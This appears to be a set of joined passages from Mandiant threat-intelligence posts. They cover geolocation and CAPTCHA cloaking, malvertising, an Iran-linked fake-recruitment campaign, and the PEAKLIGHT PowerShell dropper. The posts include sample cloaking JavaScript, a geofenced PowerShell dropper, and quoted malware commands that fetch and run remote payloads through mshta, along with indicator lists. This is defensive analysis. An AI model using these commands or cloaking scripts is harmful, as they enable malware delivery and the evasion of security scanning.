• If the connecting entity is using a VPN
• If the connecting entity is using Tor

From an attacker perspective, a primary function of leveraging this type of tooling is integrating it with programmatic actions to both optimize targeting and evade detection. In the following example code snippet, a simple webpage can be configured with Javascript to perform a lookup using the ip2location API and redirect users to different pages based on their locale or connection type. If the user is connecting from a country outside the United States, it will show them an otherwise innocuous page. If the user is connecting from inside the U.S. and is not using a VPN or Tor (in contrast to some analysis sandbox environments), then they will be directed to a malicious webpage. If they are using a VPN or Tor, they will be shown an error page.

<script type="module"> let raw_response = await fetch('https://api.ip2location.io/?key=<key>&format=json'); let response_text = await raw_response.text(); var parsed_json = JSON.parse(response_text); if(parsed["country_code"]=="US") { if(parsed["proxy"]["is_tor"] == true || parsed["proxy"]["is_vpn"] == true) document.location = 'error.html'; else document.location = 'evilpage.html'; } else document.location = 'nothingburger.html'; </script>

Though the previously shown example is configured to simply route connecting users to different pages based on their connection attributes, it also has the potential to be surprisingly effective at thwarting automated analysis tools. This sort of technique is particularly applicable to regional phishing attacks that target specific geo-dispersed companies or campaigns that target users in certain geographic regions.

Defending Against Attacks Leveraging IP Geolocation Utilities

While IP geolocation utilities commonly appear on legitimate websites, it is less likely that such a methodology would be used programmatically by non-browser processes on endpoints, such as individual workstations. This is good news for defenders, as detection and hunting efforts can primarily focus on correlating observed URL-based telemetry data with anomalous events in endpoint telemetry.

For example, a simulated attack script can be seen in the following PowerShell code snippet using the ip2location.io service:

$Response = Invoke-WebRequest -UseBasicParsing -URI https://api.ip2location.io/?key=<key> if ($Response.Content.IndexOf('"country_code":"US"') -ne "0"){ $EvilScript = 'echo "<raw bytes of evil file to drop on disk>" >> C:\TEMP\out.tmp' iex $EvilScript }

This command leverages PowerShell to programmatically connect to ip2location.io, determine if the host is connecting via a U.S.-based IP address, and, if so, drop the file “C:\TEMP\out.tmp” to disk. 

In network-based telemetry, the User-Agent for the PowerShell Invoke-Webrequest function is clearly identified. Thus, a behavioral network detection for the PowerShell User Agent connecting to ip2location.io could be created to identify this activity. While this is a fairly narrow detection, the concept can be widened by defenders based on the size of their environment and their level of noise tolerance.

Doing the CAPTCHA-cha Slide: Evading Detection with Bot Classification Tools

CAPTCHA, which is short for Completely Automated Public Turing test to tell Computers and Humans Apart, was developed to prevent bots and automated activity from accessing and interacting with web forms and hosted resources. Implementations of CAPTCHA technology, such as Google’s reCAPTCHA or CloudFlare’s Turnstile, are used as a security measure to filter out unwanted bot activity while permitting human users to access websites and interact with forms and other elements of a webpage (e.g., HTML buttons). Traditionally, CAPTCHA security challenges have required users to solve a visual puzzle or perform a brief interactive task. More recent implementations perform passive score-based detection to identify bot activity based on behavioral characteristics.

Figure 8: Evolution of reCAPTCHA

While intended to address the issue of malicious activity, CAPTCHA technology has been co-opted for use by threat actors to evade detection and scanning of their malicious infrastructure and payloads by security tools (MITRE ATT&CK T1633.001). For example, threat actors have been observed using free CAPTCHA services to prevent dynamic access and detonation actions that are typically performed by email security technologies to determine if a URL is malicious. This provides threat actors with the ability to allow human users to access a phishing page while screening out programmatic activity and the usage of data transfer tools like cURL (Figure 9).

Figure 9: CAPTCHA victim flow

Mandiant has tracked UNC5296 abusing Google Sites services as early as January 2024 to host CAPTCHA challenges that redirect users to download a ZIP archive. The ZIP archive contains a malicious LNK file masquerading as a PDF file from a financial institution that, once executed, leads to the deployment of either AZORULT or DANCEFLOOR. Mandiant has also identified FIN11 using CAPTCHA challenges as part of a phishing campaign in June 2020 to deliver the FRIENDSPEAK downloader and MIXLABEL backdoor.

Defending Against Attacks Using Bot Classification Tools

CAPTCHA tools have an extensive, legitimate use on the Internet, which makes it challenging to detect when they’re being used for malicious purposes. CAPTCHA widgets are easily implemented within a website using a few lines of HTML to reference the corresponding JavaScript resource and a unique site key that’s associated with the user who registered the CAPTCHA challenge.

<html> <head> <title>reCAPTCHA Test</title> <script src="https://www.google.com/recaptcha/api.js"></script> <script> function passRedirect() { window.location.href = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"; } </script> <div class="g-recaptcha" data-sitekey="<removed>" data-callback="passRedirect"></div> </html>

When the CAPTCHA challenge is implemented within an intermediate webpage, defenders can use the network requests for the CAPTCHA JavaScript API files as potential detection or enrichment opportunities.

CAPTCHA Technology

Network Requests

Detection Strategy

reCAPTCHA v2

00:00:00 - screening website accessed

00:00:00 - www.google.com/recaptcha/api.js

00:00:00 -  www.gstatic.com/recaptcha/releases/vjbW55
W42X033PfTdVf6Ft4q/recaptcha__en.js

00:00:20 - www.google.com/recaptcha/api2/anchor?ar=1&k=<unique reCAPTCHA sitekey>&co=<snip>

00:00:52 - redirection to website after passing CAPTCHA

Look for suspicious proxy or firewall events occurring within 1 second of requests for www.google.com and www.gstatic.com, further refine based on the URI(s) if TLS decryption is available. Potentially include a suspicious proxy or firewall event for the redirection domain occurring within 1 minute of the previous sequence.

CloudFlare Turnstile

00:00:00 - screening website accessed

00:00:00 - challenges.cloudflare.com/turnstile/v0/api.js

00:00:20 - redirection to website after passing CAPTCHA

Look for suspicious proxy or firewall events occurring within 1 second of a request for challenges.cloudflare.com

Table 2: Simulated CAPTCHA telemetry analysis A Real Jack-Ads: Stealing What Works for Loopholes and Profit

In practice, marketers have many variables to consider when running an ad campaign. There is the content of the ad itself (e.g., text, video, images), the demographics of the intended audience, the geolocation of where the ad will be displayed, and the time of day it will be displayed, among many other factors. Starting a new ad campaign often requires experimentation and refinement on the part of the marketers to find an ad “formula” that best aligns with the product or service they are trying to advertise. 

To get a head start on the process of digital advertising refinement, marketers can use competitive intelligence tools to see what ads their competitors are running. Depending on the tool, marketers can see keywords tied to their competition’s ads, the websites and applications the ad appeared on, media types associated with the ads (e.g., video, text, images), the landing pages users were shown after they clicked the ad, and many other notable advertising insights. One of the more well-known and robust tools for this includes AdBeat. Google and Meta also have repositories. These Search Engine Marketing (SEM) tools can provide insights to threat actors looking to set up malicious or dubious advertising campaigns (MITRE ATT&CK Technique T1583.008), including advertisement geolocation and effective keyword usage to circumvent Google Ads policies (Figure 10 and Figure 11).

Figure 10: Geolocation competitive intel tool functionality mentioned on the blackhatworld.com forum

Figure 11: Recommendation for competitive intel tools to assist with keyword refinement mentioned on the blackhatworld.com forum

Crafting a Malvertising Victim Flow

To illustrate how competitive intelligence tools can be used by threat actors, we’ll explore the steps involved in planning, staging, and executing a malvertising campaign based on a real-life campaign that was investigated and actioned by Google Ads threat researchers. An example of a process threat actors can use to create malvertising campaigns is outlined in Figure 12.

Figure 12: Steps for setting up a malvertising campaign

Copying an Ad That Works — What Can Marketers See?

Much like their legitimate marketer counterparts, a typical starting point for attackers looking to launch a malvertising campaign is deciding which advertising keywords will attract the highest number of potential victims. Using keyword research features available in some Search Engine Marketing tools, a threat actor would be able to see how many users have historically interacted with ads related to specific keywords.

For example, based on the data available within one competitive intelligence tool, in June 2024, an estimated 220,000 clicks originated from relevant ads associated with the keywords “advanced ip scanner” from multiple domains, including two — “ktgotit[.]com” and “advanced-ip-scanner[.]com” — that did not have any associated traffic in June 2024 but have historically been associated with the same keywords. Then, in correlating this data with historical ads featuring the domain ktgotit[.]com, the following ad could be identified as a viable one for mimicking by an attacker*:

Figure 13: Ad snippet, ktgotit[.]com

*Using one of the competitive intelligence tools, SEM data associated with ktgotit[.]com indicates that the ad in Figure 13 may have generated an estimated 3,000 visits at a cost of just under $7,000.

Typically, malicious advertisers employ several techniques in crafting their malicious ad content, including:

• Consciously avoiding any mention of legitimate brands in their advertising text to avoid keyword flags
• Creating a landing page with a domain name unrelated to the original product, service, or brand they are seeking to emulate
• Creating a “fake site” with a fictitious e-commerce brand
• Using cloaked pages, a technique that uses a combination of connection origination checks, device profiling, and page redirects between an initial landing page URL and its final destination in an attempt to conceal malicious activity

Additional insights like whether other malvertising campaigns are making it past moderation filters with misspellings of an official or legitimate website or using entirely unrelated web domains can also be helpful to attackers. Attackers can use this information to craft a convincing landing page that is shown to the user immediately after the ad is clicked to entice the user to move further into the victim flow.

The Clone Wars

Armed with the strategic insights gathered from competitive intelligence tools, a would-be attacker could confirm that mirroring the victim flow previously used by the ktgotit[.]com malvertising campaign would be an effective strategy to expose their malicious ads to a high number of potential victims for a reasonable price. Thus, the attacker may then decide to:

• Purchase and configure hosting domains for their landing pages and payloads (the details of which are platform-dependent)
• Generate and host a landing page (competitive intelligence tools may integrate this in the service)
• Configure their cloaking page redirects and/or hosted distribution payloads (if applicable)
• Purchase advertising space for their keywords and deploy their ad (also platform-dependent)

At that point all that would be left for the attacker to do is to watch their analytics traffic and wait for victims!

Epilogue: We Done ktgotit

In the case of the ad directing users to ktgotit[.]com (Figure 13), the malware author used an e-commerce “decoy” page with cloaking to circumvent traditional automated analysis techniques and to conceal the final destination URL serving the malicious content. However, even cloaking mechanisms can be defeated (much to the lament of the Romulans), and in the case of ktgotit[.]com, Google threat researchers were able to determine the final destination URL for the page was hxxps://aadvanced-ip-scanner[.]com.

Figure 14: Landing page linked to ad, ktgotit[.]com

Figure 15: Recreated lure page shown only to connections that successfully pass the verification checks on ktgotit[.]com

In this scenario, the "Free Download" link in Figure 15 led to a download for a malicious archive file named “Advanced_IP_Scanner_v.3.5.2.1.zip” (MD5: “5310d6b73d19592860e81e4e3a5459eb”) from the URL “hxxps://britanniaeat[.]com/wp-includes/Advanced_IP_Scanner_v.3.5.2.1.zip”.

Defending Against Advertising Attacks

Ad networks should aim to respond quickly to new abuse tactics. Once an abuse methodology is known by one threat actor, it will soon become known by many.

For enterprises, an elegantly simple and proactive solution would be to consider elevating your environment’s current default browser security settings for everyday browsing. Most modern browsers seek to optimize a balance between usability and security when it comes to automated protective measures enabled by default (such as in Google SafeBrowsing). For some enterprise environments these can be elevated past default levels without much noticeable impact to overall user experience.

For individual users, when clicking on ads or links in ads, users should double-check the website address (URL) of the destination to make sure it matches the company or product in the ad and doesn’t contain typos. This is especially important on phones where the URL bar might be hidden. In the example shown in Figure 13, the URL for the ad was ”ktgotit[.]com” and the landing page content matched the domain shown in the ad (i.e., ktgotit). Yet, the content of the benign landing page showed dubiously formatted product details for loosely related products that all purported to be affiliated with different manufacturers, and the content of the malicious page (protected by cloaking mechanisms) did not have a domain that matched the one shown in the ad (Figure 13).

Users are also encouraged to double-check URLs prior to downloading files from domains that were sponsored by web advertisements. As demonstrated in Mandiant's "Opening a Can of Whoop Ads: Detecting and Disrupting a Malvertising Campaign Distributing Backdoors," users were led to believe the files they were downloading were affiliated with unclaimed funds from the “Treasury Department.”

Google encourages users to report any ads they think may violate their policies or harm users so they can review and take action as needed. This article contains more guidance on how to report ads.

Indicators of Compromise

Filename

MD5

Description

Advanced_IP_Scanner_v.3.5.2.1.zip

5310d6b73d19592860e81e4e3a5459eb

Malicious archive file

 

URL

IP Address

Description

hxxps://ktgotit[.]com

172.67.216[.]166

(Cloudflare Netblock)

Malvertising landing page

hxxps://aadvanced-ip-scanner[.]com

82.221.136[.]1

Cloaked lure page

hxxps://britanniaeat[.]com/wp-includes
/Advanced_IP_Scanner_v.3.5.2.1.zip

3.11.24[.]22

(Amazon Netblock)

Malware download URL

Conclusion

In a digital world where every click leaves a trace, the line between data analytics tooling around marketing demographics and malware attack campaign optimization has become dangerously blurred to some degree. As the capabilities of legitimate tooling increases, so too will the capabilities of threat actors who choose to use them for nefarious purposes. However, as we have demonstrated through the practical examples shown throughout this blog post, by demonstrating how attackers use these tools and providing insights on ways defenders can proactively take steps to mitigate or eliminate their effects, mounting a viable and impactful defense against them is achievable.

Special Acknowledgments

Adrian McCabe would like to thank Joseph Flattery for his subject matter expertise on digital marketing tools.

The authors would like to thank Mandiant Advanced Practices for their in-depth review of associated threat indicators.

Written by: Ofir Rozmann, Asli Koksal, Sarah Bock

Today Mandiant is releasing details of a suspected Iran-nexus counterintelligence operation aimed at collecting data on Iranians and domestic threats who may be collaborating with intelligence and security agencies abroad, particularly in Israel. 

The data collected by this campaign may support the Iranian intelligence apparatus in pinpointing individuals who are interested in collaborating with Iran’s perceived adversarial countries. The collected data may be leveraged to uncover human intelligence (HUMINT) operations conducted against Iran and to persecute any Iranians suspected to be involved in these operations. These may include Iranian dissidents, activists, human rights advocates, and Farsi speakers living in and outside Iran.

Mandiant assesses with high confidence this campaign was operated on behalf of Iran’s regime, based on its tactics, techniques, and procedures (TTPs), themes, and targeting. In addition, we observed a weak overlap between this campaign and APT42, an Iran-nexus threat actor suspected to operate on behalf of Iran’s IRGC Intelligence Organization (IRGC-IO). This campaign’s activities are in line with Iran’s IRGC and APT42’s history of conducting surveillance operations against domestic threats and individuals of interest to the Iranian government. Despite the possible APT42 connection, Mandiant observed no relations between this activity and any U.S. elections-related targeting as previously reported by Google's Threat Analysis Group.

The activity used multiple social media accounts to disseminate a network of over 35 fake recruiting websites containing extensive Farsi decoy content, including job offers and Israel-related lures, such as images of Israeli national symbols, hi-tech offices, and major city landmarks. Upon entry, the targeted users are required to enter their personal details as well as their professional and academic experience, which are subsequently sent to the attackers. 

The suspected counterintelligence operations started as early as 2017 and lasted at least until March 2024. In the past, similar campaigns were deployed in Arabic, targeting individuals affiliated with Syria and Hezbollah intelligence and security agencies. This may indicate Iran’s counterintelligence activities extend beyond its own security and intelligence apparatus, possibly in support of its allies in Syria and Lebanon. 

Mandiant worked to help ensure this activity was blocked and disrupted, the threat actor’s accounts were terminated, and Google Chrome users and the users of other browsers were protected.

Attack Lifecycle

This activity leverages a network of fake recruitment websites posing as Israel-based human resources firms that use similar imagery in attempts to socially engineer Farsi-speaking individuals into providing personal details. The websites were disseminated online including through fake social media accounts, and used similar templates. The attack lifecycle is depicted in Figure 1.

Figure 1: Attack lifecycle

The activity consists of several stages.

Step 1: Disseminate Links to Fake Recruitment Websites

Mandiant identified multiple fake social media accounts promoting the websites on various social platforms, such as X (formerly Twitter) and Virasty, commonly used in Iran. 

The following X post contains a link to the malicious website, topwor4u[.]com, as well as the following description translated from Farsi:

“In the past year, we were able to attract hundreds of information and cyber professionals and achieve unique successes at the global level.

If you have information and cyber work experience, join us”.

Figure 2: Posts by @MiladAzadihr, a Twitter profile promoting the fake recruitment website topwor4u[.]com

Figure 3: Post by @A_Soleimani_Far, a Virasty (Iranian social network) profile promoting the fake recruitment website joinoptimahr[.]com

Step 2: Fake Job Offer Websites Presenting Israel-Related Decoy Content

Upon entering the website, the user is presented with the alleged purpose of the fake human resources firms: “[to] recruit employees and officers of Iran’s intelligence and security organizations.” 

• The fake recruitment websites share templates and content, posing as HR firms, like “Optima HR” or “Kandovan HR.”

• The websites contain an elaborate description written in Farsi, presenting the alleged human resources firm as “active in the fields of international information and security/cyber consulting and research worldwide”. 

• The websites contain a Farsi description of the “Terms of Cooperation” with the fake HR firm:

“Having relevant documented experience and resume in the field of information and cyber in related institutions and organizations (Mandatory).

Protecting your privacy is our priority.
Excellent salary for the chosen ones.

Our center invites you to contact us to submit a job offer and receive special and unique projects!!

 Join us to help each other impact the world.
Our duty is to protect your privacy.”

• Mandiant observed both desktop and mobile versions of the websites beparas[.]com displaying similar contents and lures affiliated with Israel, including Israel’s flag and major city landmarks.

Figure 4: Mobile version of the fake website beparas[.]com, used between January and March 2024

Figure 5: Desktop and mobile versions of the website beparas[.]com used in February 2024; the left web page also includes a form and a Telegram contact link

• The websites contain Telegram contact links, using handles that contain “IL” (Israel) references, further enhancing the perceived Israel-affiliation of the campaign. For example:

hxxps://t[.]me/PhantomIL13

hxxps://t[.]me/getDmIL 

• Several fake recruitment websites also contained a link to join a Telegram chat:

hxxps://t[.]me/joinchat/AAAAAFgDeSXaWr2r_AQImw

• Further inspection of the domain beparas[.]com indicated the WordPress user data for the website is publicly available and lists the username “miladix” as well as Gravatar URLs likely affiliated with this user (see the following screenshot). The value "b7e2f4a5bc67256189e6732fbce86520" in the Gravatar URLs is the Sha256 value of the user’s email, according to Gravatar documentation.

• The nickname "Miladix" might be related to “Milad Azadi,” the name of the X account used by the campaign and previously mentioned. In addition, "Milad" is a Persian name, further strengthening the campaign’s affiliation to Iran. 

• Mandiant observed a domain miladix[.]com, affiliated with an Iranian software developer, although no links were found tying the campaign to miladix[.]com or its operator.

Figure 6: Screenshot of the WordPress user's URL of beparas[.]com

Step 3: Targeted User Fills Out Form, Personal and Professional details Sent to Attackers

The fake recruitment websites contain a form that includes the fields: name, birth date, email, home address, education, and professional experience. 

Figure 7: Fake personal details form

“Axis of Resistance”: Historic Operations Targeting Syria and Hezbollah

Close inspection of the fake “Optima HR” websites revealed a previous network of fake recruitment websites that targeted Farsi speakers as well as Arabic speakers affiliated with Syria and Lebanon (Hezbollah) masquerading as a different HR firm named “VIP Human Solutions.”

The “VIP Human Solutions” sites used very similar imagery and themes, purporting to recruit for security- and intelligence-related jobs using Israel-affiliated decoy content, as can be seen in the Figure 8.

Figure 8: Logos of VIP Human Solutions (2020–2023, left) and Optima HR (2022–2024, right)

Figure 9: dreamy-jobs[.]com, a fake “VIP Human Solutions” website used in 2022

The “VIP Human Solutions” website’s contents, template, and personal details form are almost identical to the “Optima HR” website. The headline translates to:

“VIP job selection is a recruitment center for respected personnel and employees of Iran's security and intelligence organizations and institutions.”

Mandiant observed significant overlaps between the historic “VIP Human Solutions” campaign and the ongoing “Optima HR” campaign, and considers both to be deployed by the same threat actor. The activity was mentioned publicly in the past and was suspected to be related to the Israeli Mossad.

Figure 10: A Tweet from January 2021 mentioning “VIP Human Solutions”

• Mandiant observed the aforementioned Telegram group chat active, which has been active since at least 2021 and used by the two clusters:

hxxps://t[.]me/joinchat/AAAAAFgDeSXaWr2r_AQImw

• The same link was embedded in multiple “VIP Human Solutions” websites, occasionally along with Israel (+972) phone numbers and additional Telegram accounts:

hxxps://t[.]me/DreamyJobs_com
hxxps://t[.]me/wazayif_IL
“wazayif” is the English transcription of the word “jobs” in Arabic (وظايف)

The “VIP Human Solutions” recruitment websites were likely in use from at least 2018 to at least 2023. In addition to Farsi websites, the cluster used Arabic websites with similar templates.

Translation of the Arabic website’s title: 

“VIP Recruitment, a center for recruiting respected military personnel into the army, security services and intelligence from Syria and Hezbollah, Lebanon.”

Figure 11: wazayif-halima[.]com, an Arabic-language “VIP Human Solutions” website, used in 2021–2022 to target Syria and Hezbollah's intelligence personnel

Mandiant also observed another version of the same website in 2023, which includes the “Loren Ipsum” dummy text in Arabic, possibly indicating that the updated version of the website was not operational yet. The template includes the Syrian flag and map, an Israeli phone number (+972), and a Telegram contact link: hxxps://t[.]me/DreamyJobs_com.

Figure 12: An updated version of wazayif-halima[.]com observed in July 2023

While the “VIP Human Solutions” domains were registered beginning in 2020, Mandiant observed further historic evidence suggesting that the campaign has been active since at least 2018. 

Specifically, a YouTube channel named “VIP Human Solutions” was created by “Alireza Ebrahimpoor” in November 2018. The channel contains a single video by “VIP Jobs Global,” with a Farsi description very similar to the fake recruitment websites’, presented as a “recruitment center for retirees and employees of Iran’s security and intelligence organizations and institutions”. The threat actor-controlled YouTube channel is no longer available.

Figure 13: “VIP Human Solutions” YouTube channel: hxxps://www[.]youtube[.]com/@vipjobsglobal1819

The video has very similar content and theme as the fake recruitment websites, including the use of the unique logo of “VIP Human Solutions.”

Figure 14: Screenshot of the “VIP Human Solutions” video

The video also contains the following contact details:

• Email address: sendcv@vipjobsglobal[.]com. The domain vipjobsglobal[.]com was registered in March 2018.

• Facebook page: hxxps://facebook[.]com/358690841262928, which started operating in December 2017 and is no longer active.

The following table compares the historic activity with the new activity described in the previous section:

 

“VIP Human Solutions”

“Optima HR”

Years Active

2017-2022

2022-2024

Languages

Farsi

Arabic

Farsi

Targeted Regions

Iran, Syria and Hezbollah 

Iran

Example Domains (full list in the IOCs section)

bilal1com[.]com (Farsi)

jomehjob[.]com (Farsi)

dreamy-job[.]com (Farsi)

damavand-hr[.]me (Arabic)

wazayif-halima[.]org (Arabic)

optima-hr[.]com

joinoptimahr[.]com

opthrltd[.]me

beparas[.]com

darakeh[.]me

topwor4u[.]com

Contact Details

hxxps://t[.]me/DreamyJobs_com

hxxps://t[.]me/wazayif_IL

hxxps://t[.]me/joinchat/
AAAAAFgDeSXaWr2r_AQImw

+972 (Israel) phone numbers

hxxps//t[.]me/PhantomIL13

hxxps://t[.]me/getDmIL 

hxxps://t[.]me/joinchat/
AAAAAFgDeSXaWr2r_AQImw

Outlook and Implications

Mandiant estimates this activity supports Iranian counterintelligence efforts to identify individuals affiliated (or interested in working) with intelligence and security agencies.

Specifically, the activities described in this blog post are of concern to Iranian individuals who are suspected to be collaborating with countries Iran might perceive as adversaries. These may include Iranian dissidents, activists, human rights advocates, and Farsi speakers living in and outside Iran.

The campaign casts a wide net by operating across multiple social media platforms to disseminate its network of fake HR websites in an attempt to expose Farsi-speaking individuals who may be working with intelligence and security agencies and are thus perceived as a threat to Iran’s regime. The collected data, such as addresses, contact details, as well as professional and academic experience, might be leveraged in future operations against the targeted individuals.

Additional Protection Information for Google Cloud Customers

For Google Chronicle Enterprise+ customers, Chronicle rules have been released to the Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence.

Indicators of Compromise (IOCs)

A Google Threat Intelligence Collection featuring IOCs related to the activity described in this post is now available for registered users.

Cluster 1: “Optima HR”, “Kandovan HR” and “Paras IL”, active 2022-2024

beparas[.]com

parasil[.]me

darakeh[.]me

kandovani[.]org

topwor4u[.]com

opthrltd[.]me

joinoptimahr[.]com

optimax-hr[.]com

optimac-hr[.]com

optima-hr[.]com

titanium-hr[.]com

 

Cluster 2: “VIP Human Solutions”, active 2017-2023

azadijobs[.]me

bilal1com[.]com

damavand-hr[.]me

damkahill[.]com

dream-jobs[.]org

dream-jobs[.]vip

dreamy-job[.]com

dreamy-jobs[.]com

dreamycareer[.]com

golanjobs[.]me

hat-cast[.]com

irnjobs[.]me

jomehjob[.]com

radabala[.]com

rostam-hr[.]vip

salamjobs[.]me

shirazicom[.]com

syrtime[.]me

topiranjobs[.]me

trnjobs[.]me

vipjobsglobal[.]com

wazayif-halima[.]com

wazayif-halima[.]org

wehatcast[.]com

youna101[.]me

younamesh[.]com

   

Written by: Aaron Lee, Praveeth DSouza

TL;DR

Mandiant identified a new memory-only dropper using a complex, multi-stage infection process. This memory-only dropper decrypts and executes a PowerShell-based downloader. This PowerShell-based downloader is being tracked as PEAKLIGHT.

Overview

Mandiant Managed Defense identified a memory-only dropper and downloader delivering malware-as-a-service infostealers. During our investigation, Mandiant observed the malware download payloads such as LUMMAC.V2 (LUMMAC2), SHADOWLADDER, and CRYPTBOT. Mandiant identified the initial infection vector as a Microsoft Shortcut File (LNK) that connects to a content delivery network (CDN) hosting an obfuscated memory-only JavaScript dropper. Analysis of the payload revealed that it executes a PowerShell downloader script on the host. Mandiant named this final downloader PEAKLIGHT.

Figure 1: Infection chain

Infection Chain Stage 1: Movie Lures; A Blast from the Past 

In recent investigations, Mandiant identified victims downloading malicious ZIP files disguised as pirated movies. These archives contained a malicious Microsoft Shortcut File (LNK) following the filename schema seen in Figure 2:

* Video_mp4_1080p_x264.zip -> The Movie (HD).lnk * Video_mp4_[1080p].zip -> Full Movie 1080p HD.lnk * @!Movie_HD_1080p_mp4_@!.zip -> Full Movie HD (1080p).lnk * mp4_Full_Video_HD_1080p@!.zip -> Full Video (HD) mp4.lnk

Figure 2: Initial infection

During an associated investigation within a client environment, Mandiant identified anomalous outbound network activity to the IP address 62.133.61[.]56. The XML page seen in Figure 3 was subsequently discovered at the URL hxxp://62.133.61[.]56/Downloads.

Figure 3: XML markup

Of particular interest was this snippet from the XML markup, seen in Figure 4.

<D:href>/Downloads/Full%20Video%20HD%20%281080p%29.lnk</D:href> <D:propstat> <D:prop> <D:resourcetype></D:resourcetype> <D:displayname>Full Video HD (1080p).lnk</D:displayname> <D:getcontenttype>application/octet-stream</D:getcontenttype> <D:getetag>"17d6b3e5205a12a0460"</D:getetag> <D:getcontentlength>1120</D:getcontentlength> <D:getlastmodified>Fri, 07 Jun 2024 11:01:44 GMT</D:getlastmodified> <D:supportedlock>

Figure 4: Forwarding mechanism

Based on the contents of Figure 4, this code may have served as a redirect or forwarding mechanism for the URL hxxp://62.133.61[.]56/Downloads/Full Video HD (1080p).lnk (MD5: 62f20122a70c0f86a98ff14e84bcc999). Mandiant subsequently acquired this file and determined it was a LNK file configured with a media file icon (Figure 5).

Figure 5: LNK file configured with a media file icon

LNK files are a common tactic used by threat actors to trick unsuspecting users into unknowingly executing malware. These files can be disguised as legitimate documents or programs, making them effective for hiding in plain sight.

At this stage in the investigation, Mandiant identified different command variations within the parameters of the LNK file.

Variation 1

The parameters portion of the LNK file was configured to leverage the legitimate Microsoft utility forfiles.exe to search for the file win.ini and execute a PowerShell script. Mandiant observed the execution of the following command (Figure 6):

forfiles.exe /p C:\Windows /m win.ini /c "powershell . mshta https://nextomax.b-cdn[.]net/nexto"

Figure 6: Initial PowerShell script variation 1

This command:

• Uses the /p command switch for forfiles.exe to set the designated file search path to C:\Windows.

• Uses the /m command switch to look for files matching the name win.ini. Then, for each match (though on typical Windows installations there will only be one):

• Starts powershell.exe with configurations to load a localized or dot-sourced script, which is signified by the "." (in this case, the output generated by the rest of the command-line parameters).

• Retrieves a second-stage payload from the URL hxxps://nextomax.b-cdn[.]net/nexto.

• Executes the retrieved payload via mshta.exe.

After executing this LNK file, Windows Media Player was opened on the affected host, and a video of a prominent film studio's opening logo reel played automatically.

This video file was simply called video.mp4 (MD5: 91423dd4f34f759aaf82aa73fa202120) and presumably served as a "cover" video to attempt to alleviate suspicions that the affected host had, in reality, been infected with malware.

Variation 2

In a different investigation, Mandiant observed the parameters portion of the LNK file initiated a PowerShell command that employed asterisks (*) as wildcards to launch mshta.exe to discreetly run malicious code retrieved from a remote server.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e'). ('PSChildName')hxxps://potexo.b-cdn[.]net/potexo

Figure 7: Initial PowerShell script variation 2

This command:

• Runs a script signified by the dot sourcing operator ".".

• Uses the Get-ItemProperty (gp) to point to the Mshta registry hive and psChildName to specify the object, mshta.exe.

• Retrieves the second-stage payload from the URL hxxps://potexo.b-cdn[.]net/potexo and executes via mshta.exe.

The attackers employed the following evasion techniques to further cover their tracks:

• System Binary Proxy Execution: By using mshta.exe, the attackers execute malicious code directly from a remote server, bypassing application control solutions and browser security settings. 

• Content Delivery Network Abuse: The attackers took advantage of a reputable content delivery network (Bunny CDN) to host their malicious payloads. This abuse of trust associated with CDNs allowed them to circumvent security filters that might not scrutinize traffic from known, trusted sources.

Both variations utilize MITRE ATT&CK® Technique T1218.005: System Binary Proxy Execution: Mshta.

Stage 2: JavaScript Dropper

Figure 8 shows analysis of the HTML file cached on the CDN contained an obfuscated memory-only JavaScript dropper.

Figure 8: JavaScript dropper layer 1

The script begins by assigning decimal-encoded ASCII characters to randomly named variables. The String.fromCharCode() function is then used to convert the decimal-encoded characters back into their corresponding ASCII characters to decode the JavaScript dropper embedded within the script.

Mandiant identified an embedded payload after decoding the JavaScript dropper, seen in Figure 9.

Figure 9: JavaScript dropper layer 2

The script in Figure 9 carries out the following actions:

1. Decoding Function (wAJ)

• The function receives an array of numbers, decodes each by subtracting 619, and then converts the result to its corresponding character using String.fromCharCode(). These characters are then combined to produce the final, decoded string, which is returned by the function.

2. Payload (KbX, YmD)

• The variables KbX and YmD contain obfuscated data, which is decoded by the wAJ function.

3. ActiveXObject

• The script employs a decoded variable YmD, which resolves to Wscript.shell, to create a new ActiveX object. This object grants the script system-level privileges to execute commands.

4. IMD.Run

• Executes the decoded KbX command.

• Parameters:

• 0: This parameter instructs the command to run in a hidden window, keeping its actions concealed from the user.

• true: This parameter ensures the script waits for the command to complete its execution before moving on to any subsequent steps.

The payload (KbX) was abbreviated to maintain a concise presentation.

Note: Mandiant used this CyberChef recipe to successfully decode the obfuscated JavaScript dropper.

Variation 1: Hex-Encoded Payload

Figure 10: PowerShell hex-encoded payload

The first command conceals its malicious payload within a string of hexadecimal characters. The execution process adheres to the following sequence:

• Stealthy PowerShell Launch: The command initiates PowerShell in a hidden window (-w 1), bypasses execution restrictions (-ep Unrestricted), and skips loading user profiles (-nop), ensuring covert operations.

• Hex to Byte Conversion: A custom function (ffQiHkvB) is defined to transform the hexadecimal string into a byte array, a standard format for storing data.

• Decryption: The script creates an Advanced Encryption Standard (CBC mode) decryptor using a hex key. The byte array is decrypted, revealing the actual PowerShell code.

• Execution: Finally, the decrypted PowerShell code is executed.

Note: Mandiant decoded the payload using a custom CyberChef recipe.

Variation 2: Base64-Encoded Payload

Figure 11: PowerShell Base64-encoded payload

The second command follows a similar structure but with key differences: the malicious payload is encoded using Base64 instead of hexadecimal and is executed through a memory stream.

• Stealth and Configuration: The initial steps to launch PowerShell in a hidden, unrestricted mode are the same as in Variation 1.

• Base64 Decoding: Instead of a custom function, this variant directly uses PowerShell's built-in FromBase64String method to decode the payload. 

• Decryption, Decompression, and Execution: The payload is decrypted using AES (ECB mode) with a Base64-encoded key. After decryption, the payload is decompressed into memory using GZIP, revealing the PowerShell code, which is subsequently executed.

Stage 3: PEAKLIGHT; The PowerShell Downloader

PEAKLIGHT is an obfuscated PowerShell-based downloader that checks for the presence of hard-coded filenames and downloads files from a remote CDN if the files are not present. 

During our analysis, Mandiant identified the following key differences across the variations of the PEAKLIGHT script:

• Target Directory: 
  • Variation 1 downloads files to $env:AppData.
  • Variation 2 downloads files to $env:ProgramData.
• Execution Logic: 
  • Variation 1 executes the first alphabetically sorted file in the archive. 
  • Variation 2 executes the first file found in the archive.
• File Name: 
  • Variation 1 downloads files as L1.zip and L2.zip.
  • Variation 2 downloads files as K1.zip and K2.zip. 
• Additional Actions: 
  • Variation 1 also downloads an image (video.mp4) and makes a request to a remote server. 
  • Variation 2 does not download an image file.

Note: Mandiant decoded the obfuscated payload using a custom CyberChef recipe.

Variation 1

